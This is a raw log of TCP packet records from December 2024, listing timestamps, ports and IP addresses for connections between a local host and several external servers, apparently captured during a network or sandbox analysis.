Dec 8, 2024 15:38:19.654757023 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.712232113 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.723073006 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.723145962 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.723159075 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.743206024 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.743257999 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.743272066 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.786715031 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.812361956 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.819224119 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.823179960 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.823215008 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.832804918 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.833585978 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.833595991 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.846348047 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.846400023 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.846410036 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.860249996 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.860320091 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.860353947 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.883006096 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.883028984 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.883070946 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.883088112 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.883135080 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.887950897 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.901690960 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.901743889 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.901755095 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.915235043 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.915282965 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.915296078 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.931267023 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.931308031 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.931322098 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.931332111 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.931376934 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.942266941 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.989732981 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.989742994 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.001010895 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.003184080 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.003195047 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.007952929 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.008214951 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.008223057 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.021624088 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.023190022 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.023211002 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.035173893 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.035219908 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.035229921 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.047878027 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.048528910 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.048538923 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.060616970 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.063174963 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.063184023 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.072060108 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.072144032 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.072158098 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.083708048 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.083755016 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.083764076 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.094261885 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.094386101 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.094396114 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.104590893 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.104644060 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.104655027 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.114078045 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.114128113 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.114137888 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.123332024 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.123488903 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.123501062 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.155802965 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.155862093 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.155875921 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.163055897 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.163117886 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.163125992 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.164624929 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.164669991 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.164678097 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.167574883 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.167624950 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.167633057 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.173240900 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.173290968 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.173297882 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.175956011 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.176106930 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.176115036 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.177433968 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.177599907 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.177608967 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.181607008 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.181665897 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.181674004 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.191462994 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.191518068 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.191526890 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.199918032 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.199964046 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.199973106 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.202492952 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.202545881 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.202572107 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.208486080 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.208540916 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.208558083 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.214679003 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.214724064 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.214732885 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.221769094 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.221832991 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.221848965 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.227674007 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.227742910 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.227756023 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.243340015 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.243390083 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.243407011 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.251494884 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:20.251538038 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:20.251616001 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:20.252355099 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.252413988 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.252441883 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.253698111 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:20.253714085 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:20.263941050 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.263988972 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.264010906 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.265655041 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.265700102 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.265712023 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.275187969 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.275249958 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.275264025 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.275357008 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.275403023 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.275410891 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.276994944 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.277048111 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.277055025 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.277307987 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.278264046 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:20.278337955 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:20.594054937 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:20.594193935 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:20.596458912 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:20.596467018 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:20.596718073 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:20.598721981 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:20.598783016 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:20.598788023 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:20.598927021 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:20.643337965 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:21.077666044 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.079746008 CET	443	49728	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.082721949 CET	49727	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.082736969 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.083524942 CET	49727	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.083530903 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.084067106 CET	49728	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.084074974 CET	443	49728	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.084734917 CET	49728	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.084739923 CET	443	49728	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.089948893 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.090303898 CET	49729	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.090320110 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.090831041 CET	49729	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.090837002 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.139071941 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.139678001 CET	49732	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.139695883 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.140141964 CET	49732	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.140146017 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.148701906 CET	49738	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:21.148721933 CET	443	49738	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:21.148814917 CET	49738	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:21.149066925 CET	49738	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:21.149077892 CET	443	49738	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:21.158020020 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.158427954 CET	49731	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.158442020 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.158886909 CET	49731	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.158890963 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.264581919 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:21.264645100 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:21.264727116 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:21.264878988 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:21.264889956 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:21.298470020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:21.298717976 CET	49742	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:21.417782068 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:21.417934895 CET	80	49742	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:21.418019056 CET	49742	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:21.418309927 CET	49742	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:21.513448000 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.513514996 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.513552904 CET	49727	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.515108109 CET	443	49728	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.515177965 CET	443	49728	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.515217066 CET	49728	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.516405106 CET	49727	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.516419888 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.516432047 CET	49727	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.516437054 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.518377066 CET	49728	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.518382072 CET	443	49728	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.525948048 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.526010990 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.526060104 CET	49729	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.528362036 CET	49729	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.528373003 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.528383017 CET	49729	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.528388023 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.529160023 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.529200077 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.529261112 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.529807091 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.529839039 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.529896975 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.530267000 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.530277014 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.530344009 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.530411005 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.530424118 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.530514002 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.530527115 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.530597925 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.530610085 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.537601948 CET	80	49742	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:21.573105097 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.573159933 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.573204994 CET	49732	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.573514938 CET	49732	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.573527098 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.573538065 CET	49732	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.573543072 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.578110933 CET	49747	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.578125954 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.578186989 CET	49747	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.578465939 CET	49747	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.578476906 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.591443062 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.591500998 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.591542959 CET	49731	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.591749907 CET	49731	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.591754913 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.591764927 CET	49731	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.591768980 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.595073938 CET	49748	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.595113993 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.595182896 CET	49748	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.595328093 CET	49748	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:21.595343113 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:21.683340073 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:21.683371067 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:21.683445930 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:21.684850931 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:21.684860945 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:22.013740063 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.013855934 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.015705109 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.015716076 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.015923977 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.056468010 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.082006931 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.123333931 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.261334896 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:22.261374950 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:22.261451960 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:22.262252092 CET	49751	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:22.262270927 CET	443	49751	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:22.710094929 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.710123062 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.710131884 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.710150003 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.710190058 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.710246086 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.710256100 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.710308075 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.710356951 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.735922098 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.736011028 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.736046076 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.736104012 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.736274004 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.736274004 CET	49733	443	192.168.2.6	4.175.87.197
Dec 8, 2024 15:38:22.736291885 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.736301899 CET	443	49733	4.175.87.197	192.168.2.6
Dec 8, 2024 15:38:22.840290070 CET	443	49738	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:22.840636015 CET	49738	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:22.840656996 CET	443	49738	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:22.840970993 CET	443	49738	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:22.841440916 CET	49738	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:22.841505051 CET	443	49738	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:22.883137941 CET	49738	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:23.067518950 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.067678928 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.069423914 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.069432020 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.069674969 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.111143112 CET	49749	443	192.168.2.6	23.218.208.109
Dec 8, 2024 15:38:23.155340910 CET	443	49749	23.218.208.109	192.168.2.6
Dec 8, 2024 15:38:23.245446920 CET	80	49742	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:23.245629072 CET	49742	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:23.247390032 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.248081923 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.248092890 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.248116970 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.248395920 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.248641014 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.248647928 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.249164104 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.249174118 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.249562025 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.249567032 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.249847889 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.249876976 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.250467062 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.250473022 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.293207884 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.298947096 CET	49747	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.298954964 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.299519062 CET	49747	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.299524069 CET	443	49747	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.313077927 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.313853979 CET	49748	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.313868999 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.314459085 CET	49748	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:23.314466000 CET	443	49748	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:23.405081034 CET	49742	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:23.432754040 CET	49738	443	192.168.2.6	142.250.181.68
